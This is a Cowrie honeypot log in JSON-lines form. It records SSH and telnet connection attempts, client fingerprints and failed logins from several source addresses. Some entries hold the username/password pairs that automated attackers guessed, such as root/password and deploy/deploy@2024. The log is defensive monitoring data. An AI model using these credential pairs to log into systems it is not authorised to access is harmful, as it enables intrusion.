{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58140,"dst_ip":"10.17.0.5","dst_port":23,"session":"4956c86eb647","protocol":"telnet","message":"New connection: 45.58.127.90:58140 (10.17.0.5:23) [session: 4956c86eb647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:44.967586Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.3","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:45.757532Z","src_ip":"185.71.233.73","session":"05a74fc769b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.6","message":"Connection lost after 36.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:45.999094Z","src_ip":"185.71.233.73","session":"05a74fc769b4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.3","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:47.203251Z","src_ip":"185.71.233.73","session":"20707089bedf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.1","message":"Connection lost after 36.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:47.442080Z","src_ip":"185.71.233.73","session":"20707089bedf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:18:51.794633Z","src_ip":"47.239.15.75","session":"2afcd06f1631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55446,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c67643da03f","protocol":"telnet","message":"New connection: 45.58.127.90:55446 (10.17.0.5:23) [session: 3c67643da03f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:07.244579Z"}
{"eventid":"cowrie.session.closed","duration":32.13079285621643,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:10.798863Z","src_ip":"45.58.127.90","session":"5786c2a56da0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.24983191490173,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:27.217303Z","src_ip":"45.58.127.90","session":"4956c86eb647","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":39144,"dst_ip":"159.203.135.109","dst_port":22,"session":"330a5bd72255","protocol":"ssh","message":"New connection: 103.88.76.27:39144 (159.203.135.109:22) [session: 330a5bd72255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:34.464240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:34.469484Z","src_ip":"103.88.76.27","session":"330a5bd72255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:34.709370Z","src_ip":"103.88.76.27","session":"330a5bd72255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:35.420241Z","src_ip":"47.239.15.75","session":"2afcd06f1631","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"abc123","message":"login attempt [server/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:35.699831Z","src_ip":"103.88.76.27","session":"330a5bd72255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:36.944265Z","src_ip":"103.88.76.27","session":"330a5bd72255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":54444,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a4fcbc0b769","protocol":"ssh","message":"New connection: 47.239.15.75:54444 (159.203.135.109:22) [session: 5a4fcbc0b769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:36.964573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:36.969463Z","src_ip":"47.239.15.75","session":"5a4fcbc0b769","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":46454,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee69c56a00f1","protocol":"ssh","message":"New connection: 202.125.94.71:46454 (159.203.135.109:22) [session: ee69c56a00f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:40.010106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:40.015326Z","src_ip":"202.125.94.71","session":"ee69c56a00f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:40.275980Z","src_ip":"202.125.94.71","session":"ee69c56a00f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38880,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b544a1310f9","protocol":"telnet","message":"New connection: 45.58.127.90:38880 (10.17.0.5:23) [session: 8b544a1310f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:40.883506Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@2024","message":"login attempt [deploy/deploy@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:41.339663Z","src_ip":"202.125.94.71","session":"ee69c56a00f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:42.601617Z","src_ip":"202.125.94.71","session":"ee69c56a00f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":49678,"dst_ip":"159.203.135.109","dst_port":22,"session":"44bf03b9db05","protocol":"ssh","message":"New connection: 47.239.15.75:49678 (159.203.135.109:22) [session: 44bf03b9db05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:43.369282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:43.374476Z","src_ip":"47.239.15.75","session":"44bf03b9db05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45978,"dst_ip":"10.17.0.5","dst_port":23,"session":"823717811023","protocol":"telnet","message":"New connection: 45.58.127.90:45978 (10.17.0.5:23) [session: 823717811023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:53.718080Z"}
{"eventid":"cowrie.session.closed","duration":47.083884477615356,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:19:54.328331Z","src_ip":"45.58.127.90","session":"3c67643da03f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39736,"dst_ip":"10.17.0.5","dst_port":23,"session":"132603494501","protocol":"telnet","message":"New connection: 45.58.127.90:39736 (10.17.0.5:23) [session: 132603494501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:20:02.548947Z"}
{"eventid":"cowrie.session.closed","duration":40.06838083267212,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:20:20.951780Z","src_ip":"45.58.127.90","session":"8b544a1310f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":51838,"dst_ip":"159.203.135.109","dst_port":22,"session":"d99ec7cf2450","protocol":"ssh","message":"New connection: 47.239.15.75:51838 (159.203.135.109:22) [session: d99ec7cf2450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:20:21.547037Z"}
{"eventid":"cowrie.session.closed","duration":40.278918981552124,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:20:33.996867Z","src_ip":"45.58.127.90","session":"823717811023","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":33748,"dst_ip":"159.203.135.109","dst_port":22,"session":"dea14b6e38bb","protocol":"ssh","message":"New connection: 103.88.76.27:33748 (159.203.135.109:22) [session: dea14b6e38bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:20:34.776004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:20:34.781783Z","src_ip":"103.88.76.27","session":"dea14b6e38bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:20:35.033008Z","src_ip":"103.88.76.27","session":"dea14b6e38bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"orts","message":"login attempt [admin/orts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:20:36.073192Z","src_ip":"103.88.76.27","session":"dea14b6e38bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:20:37.327521Z","src_ip":"103.88.76.27","session":"dea14b6e38bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.082470417022705,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:20:37.631299Z","src_ip":"45.58.127.90","session":"132603494501","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:20:39.052003Z","src_ip":"47.239.15.75","session":"2afcd06f1631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":40034,"dst_ip":"159.203.135.109","dst_port":22,"session":"e41ad2d66f67","protocol":"ssh","message":"New connection: 202.125.94.71:40034 (159.203.135.109:22) [session: e41ad2d66f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:20:41.607517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:20:41.612723Z","src_ip":"202.125.94.71","session":"e41ad2d66f67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:20:41.872243Z","src_ip":"202.125.94.71","session":"e41ad2d66f67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"p","message":"login attempt [test/p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:20:42.937930Z","src_ip":"202.125.94.71","session":"e41ad2d66f67","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:20:43.637375Z","src_ip":"47.239.15.75","session":"d99ec7cf2450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:20:44.200083Z","src_ip":"202.125.94.71","session":"e41ad2d66f67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":55322,"dst_ip":"159.203.135.109","dst_port":22,"session":"08055d539005","protocol":"ssh","message":"New connection: 103.88.76.27:55322 (159.203.135.109:22) [session: 08055d539005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:21:29.594962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:21:29.599381Z","src_ip":"103.88.76.27","session":"08055d539005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:21:29.828596Z","src_ip":"103.88.76.27","session":"08055d539005","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123@.com","message":"login attempt [ubuntu/123@.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:21:30.781024Z","src_ip":"103.88.76.27","session":"08055d539005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:21:32.013575Z","src_ip":"103.88.76.27","session":"08055d539005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:21:36.973929Z","src_ip":"47.239.15.75","session":"5a4fcbc0b769","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":33076,"dst_ip":"159.203.135.109","dst_port":22,"session":"5286d70bb0fb","protocol":"ssh","message":"New connection: 202.125.94.71:33076 (159.203.135.109:22) [session: 5286d70bb0fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:21:39.602099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:21:39.607000Z","src_ip":"202.125.94.71","session":"5286d70bb0fb","protocol":"ssh"}
